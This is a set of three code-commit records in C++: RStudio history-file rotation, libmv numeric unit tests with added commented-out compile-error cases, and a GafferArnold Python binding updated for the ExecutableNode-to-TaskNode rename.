<commit_before>/* * SessionHistoryArchive.cpp * * Copyright (C) 2009-12 by RStudio, Inc. * * Unless you have received this program directly from RStudio pursuant * to the terms of a commercial license agreement with RStudio, then * this program is licensed to you under the terms of version 3 of the * GNU Affero General Public License. This program is distributed WITHOUT * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT, * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the * AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details. * */ #include "SessionHistoryArchive.hpp" #include <string> #include <core/Error.hpp> #include <core/Log.hpp> #include <core/FilePath.hpp> #include <core/DateTime.hpp> #include <core/FileSerializer.hpp> #include <r/session/RConsoleHistory.hpp> #include <session/SessionModuleContext.hpp> using namespace core; namespace session { namespace modules { namespace history { namespace { FilePath historyDatabaseFilePath() { return module_context::userScratchPath().complete("history_database"); } void writeEntry(double timestamp, const std::string& command, std::ostream* pOS) { *pOS << std::fixed << std::setprecision(0) << timestamp << ":" << command; } std::string migratedHistoryEntry(const std::string& command) { std::ostringstream ostr ; writeEntry(0, command, &ostr); return ostr.str(); } void attemptRhistoryMigration() { Error error = writeCollectionToFile<r::session::ConsoleHistory>( historyDatabaseFilePath(), r::session::consoleHistory(), migratedHistoryEntry); // log any error which occurs if (error) LOG_ERROR(error); } // simple reader for parsing lines of history file class HistoryEntryReader { public: HistoryEntryReader() : nextIndex_(0) {} ReadCollectionAction operator()(const std::string& line, HistoryEntry* pEntry) { // if the line doesn't have a ':' then ignore it if (line.find(':') == std::string::npos) return ReadCollectionIgnoreLine; pEntry->index = nextIndex_++; std::istringstream istr(line); istr >> pEntry->timestamp ; istr.ignore(1, ':'); std::getline(istr, pEntry->command); // if we had a read failure log it and return ignore state if (!istr.fail()) { return ReadCollectionAddLine; } else { LOG_ERROR_MESSAGE("unexpected io error reading history line: " + line); return ReadCollectionIgnoreLine; } } private: int nextIndex_; }; } // anonymous namespace HistoryArchive& historyArchive() { static HistoryArchive instance; return instance; } Error HistoryArchive::add(const std::string& command) { // reset the cache (since this write will invalidate the current one, // no sense in keeping our cache around in memory) entries_.clear(); entryCacheLastWriteTime_ = -1; // write the entry to the file std::ostringstream ostrEntry ; double currentTime = core::date_time::millisecondsSinceEpoch(); writeEntry(currentTime, command, &ostrEntry); ostrEntry << std::endl; return appendToFile(historyDatabaseFilePath(), ostrEntry.str()); } const std::vector<HistoryEntry>& HistoryArchive::entries() const { // calculate path to history db FilePath historyDBPath = historyDatabaseFilePath(); // if the file doesn't exist then clear the collection if (!historyDBPath.exists()) { entries_.clear(); } // otherwise check for divergent lastWriteTime and read the file // if our internal list isn't up to date else if (historyDBPath.lastWriteTime() != entryCacheLastWriteTime_) { entries_.clear(); Error error = readCollectionFromFile<std::vector<HistoryEntry> >( historyDBPath, &entries_, HistoryEntryReader()); if (error) { LOG_ERROR(error); } else { entryCacheLastWriteTime_ = historyDBPath.lastWriteTime(); } } // return entries return entries_; } void HistoryArchive::migrateRhistoryIfNecessary() { // if the history database doesn't exist see if we can migrate the // old .Rhistory file FilePath historyDBPath = historyDatabaseFilePath(); if (!historyDBPath.exists()) attemptRhistoryMigration() ; } } // namespace history } // namespace modules } // namesapce session <commit_msg>limit history archive size via rotation<commit_after>/* * SessionHistoryArchive.cpp * * Copyright (C) 2009-12 by RStudio, Inc. * * Unless you have received this program directly from RStudio pursuant * to the terms of a commercial license agreement with RStudio, then * this program is licensed to you under the terms of version 3 of the * GNU Affero General Public License. This program is distributed WITHOUT * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT, * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the * AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details. * */ #include "SessionHistoryArchive.hpp" #include <string> #include <core/Error.hpp> #include <core/Log.hpp> #include <core/FilePath.hpp> #include <core/DateTime.hpp> #include <core/FileSerializer.hpp> #include <r/session/RConsoleHistory.hpp> #include <session/SessionModuleContext.hpp> #define kHistoryDatabase "history_database" #define kHistoryMaxBytes (750*1024) // rotate/remove every 750K using namespace core; namespace session { namespace modules { namespace history { namespace { FilePath historyDatabaseFilePath() { return module_context::userScratchPath().complete(kHistoryDatabase); } FilePath historyDatabaseRotatedFilePath() { return module_context::userScratchPath().complete(kHistoryDatabase ".1"); } void rotateHistoryDatabase() { FilePath historyDB = historyDatabaseFilePath(); if (historyDB.exists() && (historyDB.size() > kHistoryMaxBytes)) { // first remove the rotated file if it exists (ignore errors because // there's nothing we can do with them at this level) FilePath rotatedHistoryDB = historyDatabaseRotatedFilePath(); rotatedHistoryDB.removeIfExists(); // now rotate the file historyDB.move(rotatedHistoryDB); } } void writeEntry(double timestamp, const std::string& command, std::ostream* pOS) { *pOS << std::fixed << std::setprecision(0) << timestamp << ":" << command; } std::string migratedHistoryEntry(const std::string& command) { std::ostringstream ostr ; writeEntry(0, command, &ostr); return ostr.str(); } void attemptRhistoryMigration() { Error error = writeCollectionToFile<r::session::ConsoleHistory>( historyDatabaseFilePath(), r::session::consoleHistory(), migratedHistoryEntry); // log any error which occurs if (error) LOG_ERROR(error); } // simple reader for parsing lines of history file ReadCollectionAction readHistoryEntry(const std::string& line, HistoryEntry* pEntry, int* pNextIndex) { // if the line doesn't have a ':' then ignore it if (line.find(':') == std::string::npos) return ReadCollectionIgnoreLine; pEntry->index = (*pNextIndex)++; std::istringstream istr(line); istr >> pEntry->timestamp ; istr.ignore(1, ':'); std::getline(istr, pEntry->command); // if we had a read failure log it and return ignore state if (!istr.fail()) { return ReadCollectionAddLine; } else { LOG_ERROR_MESSAGE("unexpected io error reading history line: " + line); return ReadCollectionIgnoreLine; } } } // anonymous namespace HistoryArchive& historyArchive() { static HistoryArchive instance; return instance; } Error HistoryArchive::add(const std::string& command) { // reset the cache (since this write will invalidate the current one, // no sense in keeping our cache around in memory) entries_.clear(); entryCacheLastWriteTime_ = -1; // rotate if necessary rotateHistoryDatabase(); // write the entry to the file std::ostringstream ostrEntry ; double currentTime = core::date_time::millisecondsSinceEpoch(); writeEntry(currentTime, command, &ostrEntry); ostrEntry << std::endl; return appendToFile(historyDatabaseFilePath(), ostrEntry.str()); } const std::vector<HistoryEntry>& HistoryArchive::entries() const { // calculate path to history db FilePath historyDBPath = historyDatabaseFilePath(); // if the file doesn't exist then clear the collection if (!historyDBPath.exists()) { entries_.clear(); } // otherwise check for divergent lastWriteTime and read the file // if our internal list isn't up to date else if (historyDBPath.lastWriteTime() != entryCacheLastWriteTime_) { entries_.clear(); // establish a next index counter int nextIndex = 0; // first read from rotated file if it exists FilePath rotatedHistoryDBPath = historyDatabaseRotatedFilePath(); if (rotatedHistoryDBPath.exists()) { Error error = readCollectionFromFile<std::vector<HistoryEntry> >( rotatedHistoryDBPath, &entries_, boost::bind(readHistoryEntry, _1, _2, &nextIndex)); if (error) LOG_ERROR(error); } // now read from main history db std::vector<HistoryEntry> entries; Error error = readCollectionFromFile<std::vector<HistoryEntry> >( historyDBPath, &entries, boost::bind(readHistoryEntry, _1, _2, &nextIndex)); if (error) { LOG_ERROR(error); } else { std::copy(entries.begin(), entries.end(), std::back_inserter(entries_)); entryCacheLastWriteTime_ = historyDBPath.lastWriteTime(); } } // return entries return entries_; } void HistoryArchive::migrateRhistoryIfNecessary() { // if the history database doesn't exist see if we can migrate the // old .Rhistory file FilePath historyDBPath = historyDatabaseFilePath(); if (!historyDBPath.exists()) attemptRhistoryMigration() ; } } // namespace history } // namespace modules } // namesapce session <|endoftext|>
<commit_before>// Copyright (c) 2007, 2008 libmv authors. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. #include "libmv/numeric/numeric.h" #include "testing/testing.h" using namespace libmv; /* //using libmv::Mat; using libmv::Mat2; using libmv::Mat34; using libmv::Vec; using libmv::Vec2; using libmv::Nullspace; using libmv::Transpose; */ namespace { TEST(Numeric, Nullspace) { Mat A(3, 4); A = 0.76026643, 0.01799744, 0.55192142, 0.8699745, 0.42016166, 0.97863392, 0.33711682, 0.14479271, 0.51016811, 0.66528302, 0.54395496, 0.57794893; Vec x; double s = Nullspace(&A, &x); EXPECT_NEAR(s, 0.122287, 1e-7); EXPECT_NEAR(x(0), -0.05473917, 1e-7); EXPECT_NEAR(x(1), 0.21822937, 1e-7); EXPECT_NEAR(x(2), -0.80258116, 1e-7); EXPECT_NEAR(x(3), 0.55248805, 1e-7); } TEST(Numeric, TinyMatrixNullspace) { Mat34 A; A = 0.76026643, 0.01799744, 0.55192142, 0.8699745, 0.42016166, 0.97863392, 0.33711682, 0.14479271, 0.51016811, 0.66528302, 0.54395496, 0.57794893; Vec x; double s = Nullspace(&A, &x); EXPECT_NEAR(s, 0.122287, 1e-7); EXPECT_NEAR(x(0), -0.05473917, 1e-7); EXPECT_NEAR(x(1), 0.21822937, 1e-7); EXPECT_NEAR(x(2), -0.80258116, 1e-7); EXPECT_NEAR(x(3), 0.55248805, 1e-7); } TEST(Numeric, TinyMatrixSquareTranspose) { Mat2 A; A = 1.0, 2.0, 3.0, 4.0; libmv::TransposeInPlace(&A); EXPECT_EQ(1.0, A(0, 0)); EXPECT_EQ(3.0, A(0, 1)); EXPECT_EQ(2.0, A(1, 0)); EXPECT_EQ(4.0, A(1, 1)); } TEST(Numeric, NormalizeL1) { Vec2 x; x = 1, 2; double l1 = NormalizeL1(&x); EXPECT_DOUBLE_EQ(3., l1); EXPECT_DOUBLE_EQ(1./3., x(0)); EXPECT_DOUBLE_EQ(2./3., x(1)); } TEST(Numeric, NormalizeL2) { Vec2 x; x = 1, 2; double l2 = NormalizeL2(&x); EXPECT_DOUBLE_EQ(sqrt(5.0), l2); EXPECT_DOUBLE_EQ(1./sqrt(5.), x(0)); EXPECT_DOUBLE_EQ(2./sqrt(5.), x(1)); } TEST(Numeric, Diag) { Vec x(2); x = 1, 2; Mat D; D = Diag(x); EXPECT_EQ(1, D(0,0)); EXPECT_EQ(0, D(0,1)); EXPECT_EQ(0, D(1,0)); EXPECT_EQ(2, D(1,1)); } TEST(Numeric, DeterminantSlow) { Mat A(2, 2); A = 1, 2, -1, 3; double detA = DeterminantSlow(A); EXPECT_NEAR(5, detA, 1e-8); Mat B(4,4); B = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15; double detB = DeterminantSlow(B); EXPECT_NEAR(0, detB, 1e-8); Mat3 C; C = 0, 1, 2, 3, 4, 5, 6, 7, 1; double detC = DeterminantSlow(C); EXPECT_NEAR(21, detC, 1e-8); } TEST(Numeric, InverseSlow) { Mat A(2, 2), A1, I; A = 1, 2, -1, 3; InverseSlow(A, &A1); I = A * A1; EXPECT_NEAR(1, I(0,0), 1e-8); EXPECT_NEAR(0, I(0,1), 1e-8); EXPECT_NEAR(0, I(1,0), 1e-8); EXPECT_NEAR(1, I(1,1), 1e-8); Mat B(4,4), B1; B = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 2, 11, 12, 13, 14, 4; InverseSlow(B, &B1); I = B * B1; EXPECT_NEAR(1, I(0,0), 1e-8); EXPECT_NEAR(0, I(0,1), 1e-8); EXPECT_NEAR(0, I(0,2), 1e-8); EXPECT_NEAR(0, I(1,0), 1e-8); EXPECT_NEAR(1, I(1,1), 1e-8); EXPECT_NEAR(0, I(1,2), 1e-8); EXPECT_NEAR(0, I(2,0), 1e-8); EXPECT_NEAR(0, I(2,1), 1e-8); EXPECT_NEAR(1, I(2,2), 1e-8); } TEST(Numeric, MeanAndVarianceAlongRows) { int n = 4; Mat points(2,n); points = 0, 0, 1, 1, 0, 2, 1, 3; Vec mean, variance; MeanAndVarianceAlongRows(points, &mean, &variance); EXPECT_NEAR(0.5, mean(0), 1e-8); EXPECT_NEAR(1.5, mean(1), 1e-8); EXPECT_NEAR(0.25, variance(0), 1e-8); EXPECT_NEAR(1.25, variance(1), 1e-8); } TEST(Numeric, HorizontalStack) { Mat x(2,1), y(2,1), z; x = 1, 2; y = 3, 4; HorizontalStack(x, y, &z); EXPECT_EQ(2, z.numCols()); EXPECT_EQ(2, z.numRows()); EXPECT_EQ(1, z(0,0)); EXPECT_EQ(2, z(1,0)); EXPECT_EQ(3, z(0,1)); EXPECT_EQ(4, z(1,1)); } TEST(Numeric, VerticalStack) { Mat x(1,2), y(1,2), z; x = 1, 2; y = 3, 4; VerticalStack(x, y, &z); EXPECT_EQ(2, z.numCols()); EXPECT_EQ(2, z.numRows()); EXPECT_EQ(1, z(0,0)); EXPECT_EQ(2, z(0,1)); EXPECT_EQ(3, z(1,0)); EXPECT_EQ(4, z(1,1)); } TEST(Numeric, CrossProduct) { Vec3 x, y, z; x = 1, 0, 0; y = 0, 1, 0; z = 0, 0, 1; Vec3 xy = CrossProduct(x, y); Vec3 yz = CrossProduct(y, z); Vec3 zx = CrossProduct(z, x); EXPECT_NEAR(0, DistanceLInfinity(xy, z), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(yz, x), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(zx, y), 1e-8); } TEST(Numeric, CrossProductMatrix) { Vec3 x, y; x = 1, 2, 3; y = 2, 3, 4; Vec3 xy = CrossProduct(x, y); Vec3 yx = CrossProduct(y, x); Mat3 X = CrossProductMatrix(x); Vec3 Xy, Xty; Xy = X * y; Xty = transpose(X) * y; EXPECT_NEAR(0, DistanceLInfinity(xy, Xy), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(yx, Xty), 1e-8); } // This gives a compile error. //TEST(Numeric, TinyMatrixView) { // Mat34 P; // Mat K; // K = P(_, _(0, 2)); //} // This gives a compile error. //TEST(Numeric, Mat3MatProduct) { // Mat3 A; // Mat B, C; // C = A * B; //} // This segfaults inside lapack. //TEST(Numeric, DeterminantLU7) { // Mat A(5, 5); // A = 1, 0, 0, 0, 0, // 0, 1, 0, 0, 0, // 0, 0, 1, 0, 0, // 0, 0, 0, 1, 0, // 0, 0, 0, 0, 1; // double detA = DeterminantLU(&A); // EXPECT_NEAR(5, detA, 1e-8); //} // This segfaults inside lapack. //TEST(Numeric, DeterminantLU) { // Mat A(2, 2); // A = 1, 2, // -1, 3; // double detA = DeterminantLU(&A); // EXPECT_NEAR(5, detA, 1e-8); //} // This does unexpected things. //TEST(Numeric, InplaceProduct) { // Mat K(2,2), S(2,2); // K = 1, 0, // 0, 1; // S = 1, 0, // 0, 1; // K = K * S; // This sets K to zero without warning! // EXPECT_NEAR(1, K(0,0), 1e-8); // EXPECT_NEAR(0, K(0,1), 1e-8); // EXPECT_NEAR(0, K(1,0), 1e-8); // EXPECT_NEAR(1, K(1,1), 1e-8); //} } // namespace <commit_msg>Added two FLENS feature requests.<commit_after>// Copyright (c) 2007, 2008 libmv authors. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. #include "libmv/numeric/numeric.h" #include "testing/testing.h" using namespace libmv; /* //using libmv::Mat; using libmv::Mat2; using libmv::Mat34; using libmv::Vec; using libmv::Vec2; using libmv::Nullspace; using libmv::Transpose; */ namespace { TEST(Numeric, Nullspace) { Mat A(3, 4); A = 0.76026643, 0.01799744, 0.55192142, 0.8699745, 0.42016166, 0.97863392, 0.33711682, 0.14479271, 0.51016811, 0.66528302, 0.54395496, 0.57794893; Vec x; double s = Nullspace(&A, &x); EXPECT_NEAR(s, 0.122287, 1e-7); EXPECT_NEAR(x(0), -0.05473917, 1e-7); EXPECT_NEAR(x(1), 0.21822937, 1e-7); EXPECT_NEAR(x(2), -0.80258116, 1e-7); EXPECT_NEAR(x(3), 0.55248805, 1e-7); } TEST(Numeric, TinyMatrixNullspace) { Mat34 A; A = 0.76026643, 0.01799744, 0.55192142, 0.8699745, 0.42016166, 0.97863392, 0.33711682, 0.14479271, 0.51016811, 0.66528302, 0.54395496, 0.57794893; Vec x; double s = Nullspace(&A, &x); EXPECT_NEAR(s, 0.122287, 1e-7); EXPECT_NEAR(x(0), -0.05473917, 1e-7); EXPECT_NEAR(x(1), 0.21822937, 1e-7); EXPECT_NEAR(x(2), -0.80258116, 1e-7); EXPECT_NEAR(x(3), 0.55248805, 1e-7); } TEST(Numeric, TinyMatrixSquareTranspose) { Mat2 A; A = 1.0, 2.0, 3.0, 4.0; libmv::TransposeInPlace(&A); EXPECT_EQ(1.0, A(0, 0)); EXPECT_EQ(3.0, A(0, 1)); EXPECT_EQ(2.0, A(1, 0)); EXPECT_EQ(4.0, A(1, 1)); } TEST(Numeric, NormalizeL1) { Vec2 x; x = 1, 2; double l1 = NormalizeL1(&x); EXPECT_DOUBLE_EQ(3., l1); EXPECT_DOUBLE_EQ(1./3., x(0)); EXPECT_DOUBLE_EQ(2./3., x(1)); } TEST(Numeric, NormalizeL2) { Vec2 x; x = 1, 2; double l2 = NormalizeL2(&x); EXPECT_DOUBLE_EQ(sqrt(5.0), l2); EXPECT_DOUBLE_EQ(1./sqrt(5.), x(0)); EXPECT_DOUBLE_EQ(2./sqrt(5.), x(1)); } TEST(Numeric, Diag) { Vec x(2); x = 1, 2; Mat D; D = Diag(x); EXPECT_EQ(1, D(0,0)); EXPECT_EQ(0, D(0,1)); EXPECT_EQ(0, D(1,0)); EXPECT_EQ(2, D(1,1)); } TEST(Numeric, DeterminantSlow) { Mat A(2, 2); A = 1, 2, -1, 3; double detA = DeterminantSlow(A); EXPECT_NEAR(5, detA, 1e-8); Mat B(4,4); B = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15; double detB = DeterminantSlow(B); EXPECT_NEAR(0, detB, 1e-8); Mat3 C; C = 0, 1, 2, 3, 4, 5, 6, 7, 1; double detC = DeterminantSlow(C); EXPECT_NEAR(21, detC, 1e-8); } TEST(Numeric, InverseSlow) { Mat A(2, 2), A1, I; A = 1, 2, -1, 3; InverseSlow(A, &A1); I = A * A1; EXPECT_NEAR(1, I(0,0), 1e-8); EXPECT_NEAR(0, I(0,1), 1e-8); EXPECT_NEAR(0, I(1,0), 1e-8); EXPECT_NEAR(1, I(1,1), 1e-8); Mat B(4,4), B1; B = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 2, 11, 12, 13, 14, 4; InverseSlow(B, &B1); I = B * B1; EXPECT_NEAR(1, I(0,0), 1e-8); EXPECT_NEAR(0, I(0,1), 1e-8); EXPECT_NEAR(0, I(0,2), 1e-8); EXPECT_NEAR(0, I(1,0), 1e-8); EXPECT_NEAR(1, I(1,1), 1e-8); EXPECT_NEAR(0, I(1,2), 1e-8); EXPECT_NEAR(0, I(2,0), 1e-8); EXPECT_NEAR(0, I(2,1), 1e-8); EXPECT_NEAR(1, I(2,2), 1e-8); } TEST(Numeric, MeanAndVarianceAlongRows) { int n = 4; Mat points(2,n); points = 0, 0, 1, 1, 0, 2, 1, 3; Vec mean, variance; MeanAndVarianceAlongRows(points, &mean, &variance); EXPECT_NEAR(0.5, mean(0), 1e-8); EXPECT_NEAR(1.5, mean(1), 1e-8); EXPECT_NEAR(0.25, variance(0), 1e-8); EXPECT_NEAR(1.25, variance(1), 1e-8); } TEST(Numeric, HorizontalStack) { Mat x(2,1), y(2,1), z; x = 1, 2; y = 3, 4; HorizontalStack(x, y, &z); EXPECT_EQ(2, z.numCols()); EXPECT_EQ(2, z.numRows()); EXPECT_EQ(1, z(0,0)); EXPECT_EQ(2, z(1,0)); EXPECT_EQ(3, z(0,1)); EXPECT_EQ(4, z(1,1)); } TEST(Numeric, VerticalStack) { Mat x(1,2), y(1,2), z; x = 1, 2; y = 3, 4; VerticalStack(x, y, &z); EXPECT_EQ(2, z.numCols()); EXPECT_EQ(2, z.numRows()); EXPECT_EQ(1, z(0,0)); EXPECT_EQ(2, z(0,1)); EXPECT_EQ(3, z(1,0)); EXPECT_EQ(4, z(1,1)); } TEST(Numeric, CrossProduct) { Vec3 x, y, z; x = 1, 0, 0; y = 0, 1, 0; z = 0, 0, 1; Vec3 xy = CrossProduct(x, y); Vec3 yz = CrossProduct(y, z); Vec3 zx = CrossProduct(z, x); EXPECT_NEAR(0, DistanceLInfinity(xy, z), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(yz, x), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(zx, y), 1e-8); } TEST(Numeric, CrossProductMatrix) { Vec3 x, y; x = 1, 2, 3; y = 2, 3, 4; Vec3 xy = CrossProduct(x, y); Vec3 yx = CrossProduct(y, x); Mat3 X = CrossProductMatrix(x); Vec3 Xy, Xty; Xy = X * y; Xty = transpose(X) * y; EXPECT_NEAR(0, DistanceLInfinity(xy, Xy), 1e-8); EXPECT_NEAR(0, DistanceLInfinity(yx, Xty), 1e-8); } // This gives a compile error. //TEST(Numeric, TinyMatrixView) { // Mat34 P; // Mat K; // K = P(_, _(0, 2)); //} // This gives a compile error. //TEST(Numeric, Mat3MatProduct) { // Mat3 A; // Mat B, C; // C = A * B; //} // This gives a compile error. //TEST(Numeric, Vec3Negative) { // Vec3 x; // Vec3 y; // x = -y; //} // This gives a compile error. //TEST(Numeric, Vec3VecInteroperability) { // Vec3 x; // Vec y; // x = y + y; //} // This segfaults inside lapack. //TEST(Numeric, DeterminantLU7) { // Mat A(5, 5); // A = 1, 0, 0, 0, 0, // 0, 1, 0, 0, 0, // 0, 0, 1, 0, 0, // 0, 0, 0, 1, 0, // 0, 0, 0, 0, 1; // double detA = DeterminantLU(&A); // EXPECT_NEAR(5, detA, 1e-8); //} // This segfaults inside lapack. //TEST(Numeric, DeterminantLU) { // Mat A(2, 2); // A = 1, 2, // -1, 3; // double detA = DeterminantLU(&A); // EXPECT_NEAR(5, detA, 1e-8); //} // This does unexpected things. //TEST(Numeric, InplaceProduct) { // Mat K(2,2), S(2,2); // K = 1, 0, // 0, 1; // S = 1, 0, // 0, 1; // K = K * S; // This sets K to zero without warning! // EXPECT_NEAR(1, K(0,0), 1e-8); // EXPECT_NEAR(0, K(0,1), 1e-8); // EXPECT_NEAR(0, K(1,0), 1e-8); // EXPECT_NEAR(1, K(1,1), 1e-8); //} } // namespace <|endoftext|>
<commit_before>////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, John Haddon. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above // copyright notice, this list of conditions and the following // disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided with // the distribution. // // * Neither the name of John Haddon nor the names of // any other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include "boost/python.hpp" #include "GafferBindings/DependencyNodeBinding.h" #include "GafferDispatchBindings/ExecutableNodeBinding.h" #include "GafferArnold/ArnoldShader.h" #include "GafferArnold/ArnoldOptions.h" #include "GafferArnold/ArnoldAttributes.h" #include "GafferArnold/ArnoldLight.h" #include "GafferArnold/ArnoldVDB.h" #include "GafferArnold/InteractiveArnoldRender.h" #include "GafferArnold/ArnoldRender.h" using namespace boost::python; using namespace GafferArnold; BOOST_PYTHON_MODULE( _GafferArnold ) { GafferBindings::DependencyNodeClass<ArnoldShader>() .def( "loadShader", (void (ArnoldShader::*)( const std::string & ) )&ArnoldShader::loadShader ) ; GafferBindings::NodeClass<ArnoldLight>() .def( "loadShader", (void (ArnoldLight::*)( const std::string & ) )&ArnoldLight::loadShader ) ; GafferBindings::DependencyNodeClass<ArnoldOptions>(); GafferBindings::DependencyNodeClass<ArnoldAttributes>(); GafferBindings::DependencyNodeClass<ArnoldVDB>(); GafferBindings::NodeClass<InteractiveArnoldRender>(); GafferDispatchBindings::ExecutableNodeClass<ArnoldRender>(); } <commit_msg>GafferArnold : Account for ExecutableNode renaming.<commit_after>////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, John Haddon. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above // copyright notice, this list of conditions and the following // disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided with // the distribution. // // * Neither the name of John Haddon nor the names of // any other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include "boost/python.hpp" #include "GafferBindings/DependencyNodeBinding.h" #include "GafferDispatchBindings/TaskNodeBinding.h" #include "GafferArnold/ArnoldShader.h" #include "GafferArnold/ArnoldOptions.h" #include "GafferArnold/ArnoldAttributes.h" #include "GafferArnold/ArnoldLight.h" #include "GafferArnold/ArnoldVDB.h" #include "GafferArnold/InteractiveArnoldRender.h" #include "GafferArnold/ArnoldRender.h" using namespace boost::python; using namespace GafferArnold; BOOST_PYTHON_MODULE( _GafferArnold ) { GafferBindings::DependencyNodeClass<ArnoldShader>() .def( "loadShader", (void (ArnoldShader::*)( const std::string & ) )&ArnoldShader::loadShader ) ; GafferBindings::NodeClass<ArnoldLight>() .def( "loadShader", (void (ArnoldLight::*)( const std::string & ) )&ArnoldLight::loadShader ) ; GafferBindings::DependencyNodeClass<ArnoldOptions>(); GafferBindings::DependencyNodeClass<ArnoldAttributes>(); GafferBindings::DependencyNodeClass<ArnoldVDB>(); GafferBindings::NodeClass<InteractiveArnoldRender>(); GafferDispatchBindings::TaskNodeClass<ArnoldRender>(); } <|endoftext|>
